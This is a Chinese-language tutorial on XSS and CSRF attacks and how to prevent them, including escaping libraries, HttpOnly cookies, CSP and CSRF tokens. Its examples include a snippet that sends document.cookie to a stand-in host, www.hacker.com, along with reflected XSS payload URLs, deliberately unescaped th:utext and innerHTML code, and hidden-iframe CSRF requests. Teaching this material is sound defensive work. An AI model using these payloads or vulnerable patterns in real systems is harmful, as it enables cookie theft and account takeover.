跨站指令碼攻擊(XSS)
XSS(Cross Site Scripting),為不和層疊樣式表CSS混淆,故將跨站指令碼攻擊縮寫為XSS。
攻擊原理:
惡意攻擊者往Web頁面裡插入惡意Script程式碼,當使用者瀏覽該頁面時,嵌入其中的Script程式碼會被執行,從而達到惡意攻擊使用者的目的。
XSS攻擊按型別可以分為三種:
- 儲存型XSS
- 反射型XSS
- DOM型XSS
1.1 儲存型XSS
儲存型XSS,顧名思義就是攻擊者上傳的惡意指令碼的資料被儲存到資料庫中,當頁面渲染的時候如果執行到這段指令碼,網站就會被攻擊。
這種攻擊常見於支援使用者儲存資料的網站,如論壇發帖、商品評論、使用者私信、留言等功能。
簡單示例1:
一個網站留言欄黑客輸入瞭如下內容
<script>alert('hello');</script>
如果網站沒做處理,那麼所有使用者開啟這個網站的留言欄都會彈出hello的一個框,嚴重影響了使用者體驗,甚至還可以竊取cookie。
簡單示例2:
竊取使用者cookie後傳送到黑客。直接傳送,可能會因為跨域而失敗,可以通過圖片標籤的方式繞過:
(function () {
(new Image()).src = 'http://www.hacker.com/h?c=' +
escape("url=" + document.location.href) +
escape('&cookie=' + document.cookie);
})();
上面的http://www.hacker.com/h是一個controller,可以接收請求並將引數儲存。
1.2 反射型XSS
反射型XSS,又稱非持久型XSS,也已程式碼沒有被儲存到目標網站,而是通過引誘使用者點選一個惡意連結來實施攻擊。
示例:網站有一個功能的實現是將連結上引數的內容展示在網頁上。
後端程式碼:
@RequestMapping("/reflectxss")
public String reflectxss(String content, ModelMap modelMap){
modelMap.addAttribute("result",content);
return "reflectxss";
}
前端程式碼:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<span th:utext="${result}"></span>
</body>
</html>
如果使用者引數裡是一個正常的資料還好,如果是黑客輸入一個js指令碼獲取cookie
http://localhost:8080/reflectxss?content=<script>alert(document.cookie)</script>
構建DOM
http://localhost:8080/reflectxss?content=<input type="button" value="登入"/>
1.3 DOM型XSS
DOM型XSS其實就是一種特殊型別的反射型XSS,它是基於DOM文件物件模型的一種漏洞,不需要與服務端進行互動。
示例程式碼:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>domxss</title>
</head>
<body>
<title>測試</title>
<div id="mystr"></div>
<script type="text/javascript">
function getQueryString(name) {
var reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
var r=window.location.search.substr(1).match(reg);
if(r!=null){
return decodeURI(r[2]);
}else {
return null;
}
}
document.getElementById("mystr").innerHTML=(getQueryString("domxss"));
</script>
</body>
</html>
它會將連結中的引數取出來,然後用innerHtml的方式渲染。
- 注入js指令碼,未成功
http://localhost:8080/domxss.html?domxss=<script>alert('abc')</script>
使用innerHtml獲得的JS程式碼是不會被執行的,JS只有在頁面初次載入的時候才有效
2. 構造DOM
- 利用img標籤
img標籤的src填一個不存在的圖片,onerror裡的指令碼會被執行。
1.4 攻擊原理及危害分析
基本實現原理:
- 通過img標籤的src傳送資料
- 構造表單誘導使用者輸入賬號密碼
- 構造隱藏的form表單自動提交
- 頁面強制跳轉
- 植入文字連結、圖片連結
- 構造iframe
- 構造其他HTML標籤
潛在危害:
- 獲取其他使用者的Cookie,冒充身份登入
- 構造表單誘導使用者輸入賬號密碼,盜取賬密
- 跳轉到其他網站,竊取流量
- 植入廣告、外鏈
- 通過隱藏友鏈提升網站百度權重
1.5 XSS漏洞預防
- 對使用者的輸入進行驗證
包括前端頁面和後端,都需要對使用者輸入進行驗證和限制,包括輸入長度驗證、特殊字元限制。可以使用apache commons text、使用owasp AntiSamy等框架進行字元校驗
使用owasp AntiSamy:
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.5.8</version>
</dependency>
public class XSSEncode {
static Policy policy;
static {
String path = XSSEncode.class.getClassLoader().getResource("antisamy-anythinggoes.xml").getFile();
if(path.startsWith("file")){
path=path.substring(6);
}
try {
policy = Policy.getInstance(path);
} catch (PolicyException e) {
e.printStackTrace();
}
}
public static String xssEncode(String value) throws PolicyException, ScanException {
AntiSamy antiSamy=new AntiSamy();
CleanResults results = antiSamy.scan(value, policy);
//返回安全性的html
return results.getCleanHTML();
}
public static void main(String[] args) throws ScanException, PolicyException {
String s = xssEncode("<script>alert22</script>afdsf");
System.out.println(s);
}
}
使用 apache commons-text
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.5</version>
</dependency>
import org.apache.commons.text.StringEscapeUtils;
import org.owasp.validator.html.*;
public class XSSEncode2 {
public static String xssEncode(String value){
// StringEscapeUtils.escapeJson(value);
// StringEscapeUtils.escapeEcmaScript(value);
return StringEscapeUtils.escapeHtml4(value);
}
}
- Cookie防護
將cookie設定為httponly
resp.setHeader("SET-COOKIE","JSESSIONID="+request.getSession().getId()+ "; HttpOnly")
- 設定frame、iframe限制
iframe可以配置三個策略:
- DENY 不允許
- SAMEORIGIN 可在相同域名頁面的iframe中展示
- ALLOW-FROM uri 可在指定頁的frame中展示
nginx中配置:
add_header X-Frame-Options SAMEORIGIN;
filter中配置:
resp.setHeader("x-frame-options","SAMEORIGIN");
- 輸出時轉義
thymeleaf:
<!--非轉義輸出,原樣輸出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--轉義輸出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>
JSP:
<!--預設true,進行轉義-->
<c:out value=" ${ content }" escapeXml="false" />
- dom型xss避免
避免使用innerHtml、outerHTML、document.write(),應使用textContent、setAttribute;尤其注意onclick、onerror、onload、onmouseover、eval()、setTimeout()、setInterval()
6. 富文字處理
做富文字的展示需求時,應特別注意,事件應該被嚴格禁止,因為富文字的需求裡不應該包括事件這種動態效果。富文字過濾中,處理CSS是一件比較麻煩的事情,如果允許使用者自定義CSS、則也可能導致XSS攻擊。比如儘可能的禁止使用者自定義CSS。
有些開源專案實現了對富文字的XSS檢查,Anti-Samy是OWASP上的一個開源專案,也是目前最好的XSS Filter。
1.6 內容安全策略防護
內容安全策略(CSP :Content-Security-Policy)是一個額外的安全層,用於檢測並削弱某些特定型別的攻擊,包括跨站指令碼和資料注入攻擊。
CSP通過指定有效域——即瀏覽器認可的可執行指令碼的有效來源——使伺服器管理者有能力減少或消除XSS攻擊所依賴的載體
CSP的分類:
- Content-Security-Policy 配置好後,不符合的內容資源會被阻止載入
- Content-Security-Policy-Report-Only 僅僅記錄違反限制的行為
配置的地方:
- 可以在http header上
- 可以在HTML上
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only"
content="策略">
配置語法:
示例:
- 限制所有外部資源,都只能從當前域名載入,不包含子域名‘
Content-Security-Policy: default-src 'self'
- 限制所有的外部資源,都只能從當前域名及其*.lagou.com域名載入
Content-Security-Policy: default-src 'self' *.lagou.com
- 圖片可以從任意地方載入,視訊只能從media1.com和media2.com載入,js只能從scripts.lagou.com載入
Content-Security-Policy: default-src 'self'; img-src *;
media-src media1.com media2.com; script-src scripts.lagou.com
- 僅允許從https://onlinebanking.abc.com網站訪問
Content-Security-Policy: default-src https://onlinebanking.abc.com
- 啟用違例報告
Content-Security-Policy: default-src 'self'; report-uri
http://reportcollector.example.com/collector.cgi
1.7 XSS漏洞掃描工具
常見的掃描工具有: Safe3WVS,Burp Suite ,AWVS,AppScan,W3af,
Arachni,Acunetix等
跨站請求偽造(CSRF)
CSRF攻擊的全稱是跨站請求偽造(cross site request forgery)。是一種對網站的惡意利用,聽起來跟XSS有點相似,但事實上CSRF與XSS差別很大。CSRF是通過使用者瀏覽器冒充使用者身份向伺服器發起偽造請求。
CSRF攻擊原理:
- 使用者開啟瀏覽器,訪問了受信任網站A,並且輸入使用者名稱密碼登入了網站A
- 使用者資訊通過驗證後,網站A產生了Cookie資訊並返回給瀏覽器,此時使用者登入網站A成功,可以正常傳送請求到網站A
- 使用者未退出網站A之前,同一個瀏覽器中又開啟一個TAB頁訪問了黑客的網站B
- 網站B收到使用者請求後,返回一些攻擊程式碼(呼叫網站A的介面)
- 瀏覽器接收到攻擊程式碼後,在使用者不知情的情況下攜帶Cookie資訊,向網站A發出請求。網站A並不知道請求其實是網站B發起的,所以執行了網站B的惡意程式碼。
示例:
你以為你訪問黑客的網站只是看了個美女,其實它偷偷把你其他網站A的密碼改了。因為你剛登陸了網站A,所以如果沒有其他驗證的話你的密碼就被改了。
程式碼如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>美女圖片</title>
</head>
<body>
<img src="images/801910ac238baefd3271af9d684691f1.jpeg" />
<img src="http://localhost:8080/resetPassword" />
</body>
</html>
攻擊方式:
get請求:
<img src="http://www.study.com/admin/resetPassword?id=1" />
<iframe src="http://www.study.com/admin/resetPassword?id=1"
style='display:none'></iframe>
post請求:
隱藏表單、自動提交,把功能通過iframe引入新頁面
<iframe src="form.html" style='display:none'></iframe>
CSRF安全防護
- referer校驗
校驗referer是否從本網站發起的
- 二次驗證
比如加一些驗證碼,修改密碼的時候需要輸入原密碼等等
- token驗證
使用者訪問正常網站的時候伺服器生成一個token,並且給到客戶端。客戶端每次請求都要帶上,校驗通過才行。而你訪問黑客的網站的時候,他拿不到你的token所以不能請求成功。
CRSR掃描工具
CSRFTester是一款CSRF漏洞的測試工具,此工具的測試原理如下:它使用代理抓取瀏覽器中訪問過的連線以及表單等資訊,通過在CSRFTester中修改相應的表單等資訊,重新提交,相當於一次偽造客戶端請求,如果被測試的請求成功被網站伺服器接受,則說明存在CSRF漏洞,否則不存在。此款工具也可以被用來進行CSRF攻擊